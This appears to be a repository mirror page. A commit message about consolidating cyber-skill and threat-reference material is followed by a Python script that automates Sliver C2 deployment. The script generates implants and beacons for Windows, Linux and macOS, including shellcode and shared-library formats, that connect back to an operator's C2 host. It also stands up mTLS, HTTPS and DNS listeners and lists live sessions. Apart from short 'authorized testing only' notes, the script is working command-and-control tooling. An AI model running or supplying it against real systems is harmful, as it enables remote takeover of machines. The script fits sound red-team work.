mirror of
https://github.com/SHOGGOTH-SECTOR/sica-fondt.git
synced 2026-08-01 08:30:20 +00:00
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):
- brain/ LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
dispatch, A51 channels, and the OSINT cluster
- knowledge/ LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
MITRE ATT&CK data
- reference/ defensive threat-reference (C3, shhbruh doc) + AdaYaml parser
License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.
Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.
https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
103 lines
4.6 KiB
Python
103 lines
4.6 KiB
Python
#!/usr/bin/env python3
|
|
# For authorized penetration testing and lab environments only
|
|
"""Sliver C2 Framework Deployment Agent - Automates Sliver C2 setup for authorized red team engagements."""
|
|
|
|
import json
|
|
import subprocess
|
|
import logging
|
|
import argparse
|
|
from datetime import datetime
|
|
|
|
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
|
logger = logging.getLogger(__name__)
|
|
|
|
|
|
def run_sliver_cmd(cmd, sliver_path="sliver-client"):
|
|
"""Execute a Sliver client command."""
|
|
try:
|
|
result = subprocess.run([sliver_path] + cmd, capture_output=True, text=True, timeout=60)
|
|
return {"stdout": result.stdout, "stderr": result.stderr, "returncode": result.returncode}
|
|
except (FileNotFoundError, subprocess.TimeoutExpired) as e:
|
|
return {"error": str(e)}
|
|
|
|
|
|
def generate_implant(name, os_target="windows", arch="amd64", c2_host="", c2_port=443, format_type="exe", sliver_path="sliver-client"):
|
|
"""Generate a Sliver implant (beacon or session)."""
|
|
cmd = ["generate", "--name", name, "--os", os_target, "--arch", arch, "--mtls", f"{c2_host}:{c2_port}"]
|
|
if format_type == "shellcode":
|
|
cmd.append("--format=shellcode")
|
|
elif format_type == "shared":
|
|
cmd.append("--format=shared-lib")
|
|
result = run_sliver_cmd(cmd, sliver_path)
|
|
logger.info("Generated implant: %s (%s/%s)", name, os_target, arch)
|
|
return {"implant_name": name, "os": os_target, "arch": arch, "c2": f"{c2_host}:{c2_port}", "result": result}
|
|
|
|
|
|
def generate_beacon(name, os_target="windows", arch="amd64", c2_host="", c2_port=443, interval="60s", jitter="30", sliver_path="sliver-client"):
|
|
"""Generate a Sliver beacon implant."""
|
|
cmd = ["generate", "beacon", "--name", name, "--os", os_target, "--arch", arch, "--mtls", f"{c2_host}:{c2_port}", "--seconds", interval, "--jitter", jitter]
|
|
result = run_sliver_cmd(cmd, sliver_path)
|
|
return {"beacon_name": name, "interval": interval, "jitter": jitter, "result": result}
|
|
|
|
|
|
def setup_listeners(c2_host, mtls_port=8888, https_port=443, dns_domain=None, sliver_path="sliver-client"):
|
|
"""Configure C2 listeners."""
|
|
listeners = []
|
|
mtls_result = run_sliver_cmd(["mtls", "--lhost", c2_host, "--lport", str(mtls_port)], sliver_path)
|
|
listeners.append({"type": "mTLS", "host": c2_host, "port": mtls_port, "result": mtls_result})
|
|
https_result = run_sliver_cmd(["https", "--lhost", c2_host, "--lport", str(https_port)], sliver_path)
|
|
listeners.append({"type": "HTTPS", "host": c2_host, "port": https_port, "result": https_result})
|
|
if dns_domain:
|
|
dns_result = run_sliver_cmd(["dns", "--domains", dns_domain], sliver_path)
|
|
listeners.append({"type": "DNS", "domain": dns_domain, "result": dns_result})
|
|
return listeners
|
|
|
|
|
|
def list_sessions(sliver_path="sliver-client"):
|
|
"""List active sessions."""
|
|
return run_sliver_cmd(["sessions"], sliver_path)
|
|
|
|
|
|
def list_beacons(sliver_path="sliver-client"):
|
|
"""List active beacons."""
|
|
return run_sliver_cmd(["beacons"], sliver_path)
|
|
|
|
|
|
def generate_report(listeners, implants, sessions_output, beacons_output):
|
|
"""Generate C2 infrastructure report."""
|
|
report = {
|
|
"timestamp": datetime.utcnow().isoformat(),
|
|
"disclaimer": "For authorized penetration testing only",
|
|
"listeners": listeners,
|
|
"implants_generated": implants,
|
|
"active_sessions": sessions_output,
|
|
"active_beacons": beacons_output,
|
|
}
|
|
print(f"SLIVER REPORT: {len(listeners)} listeners, {len(implants)} implants")
|
|
return report
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="Sliver C2 Framework Deployment Agent (Authorized Testing Only)")
|
|
parser.add_argument("--c2-host", required=True, help="C2 server IP/hostname")
|
|
parser.add_argument("--implant-name", default="test_implant")
|
|
parser.add_argument("--os", default="windows", choices=["windows", "linux", "darwin"])
|
|
parser.add_argument("--arch", default="amd64", choices=["amd64", "386", "arm64"])
|
|
parser.add_argument("--sliver-path", default="sliver-client")
|
|
parser.add_argument("--output", default="sliver_report.json")
|
|
args = parser.parse_args()
|
|
|
|
listeners = setup_listeners(args.c2_host, sliver_path=args.sliver_path)
|
|
implant = generate_implant(args.implant_name, args.os, args.arch, args.c2_host, sliver_path=args.sliver_path)
|
|
sessions = list_sessions(args.sliver_path)
|
|
beacons = list_beacons(args.sliver_path)
|
|
|
|
report = generate_report(listeners, [implant], sessions, beacons)
|
|
with open(args.output, "w") as f:
|
|
json.dump(report, f, indent=2)
|
|
logger.info("Report saved to %s", args.output)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|